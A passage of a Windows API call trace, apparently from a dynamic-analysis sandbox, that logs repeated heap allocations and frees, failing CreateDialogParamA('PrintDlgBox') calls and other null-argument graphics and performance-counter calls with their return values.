nIDDlgItem=0, lpString="") returned 0 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.668] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.668] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.668] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.668] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.668] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.668] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.668] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.668] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.669] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.669] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.669] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.669] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.669] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.669] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.669] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.669] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.669] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.669] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.669] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.669] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.669] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.669] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.669] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.669] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.669] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.669] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.669] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.669] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.669] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.669] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.669] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193765353, cy=27, fuLoad=0x0) returned 0x0 [0026.669] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.669] GetLastError () returned 0x715 [0026.669] SetLastError (dwErrCode=0x715) [0026.669] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.669] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.669] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.669] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.670] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.670] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.670] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.670] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.670] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.670] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.670] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.670] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.671] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.671] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.671] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.671] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.671] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.671] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.671] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.671] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.671] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.671] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.672] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.672] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.672] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.672] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.672] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.672] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.672] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.672] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.672] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.672] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.672] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.672] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.672] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.672] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.672] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.672] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.672] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.672] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.672] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.672] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.672] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.672] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.672] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.672] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.672] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.672] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.672] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.672] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.672] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.672] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.672] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.672] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.672] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.672] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.672] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193746408, cy=27, fuLoad=0x0) returned 0x0 [0026.672] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.673] GetLastError () returned 0x715 [0026.673] SetLastError (dwErrCode=0x715) [0026.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.673] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.673] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.673] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.673] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.673] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.673] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.673] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.673] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.673] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.673] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.673] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.673] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.673] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.673] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.673] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.673] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.674] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.674] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.674] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.674] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.674] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.674] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 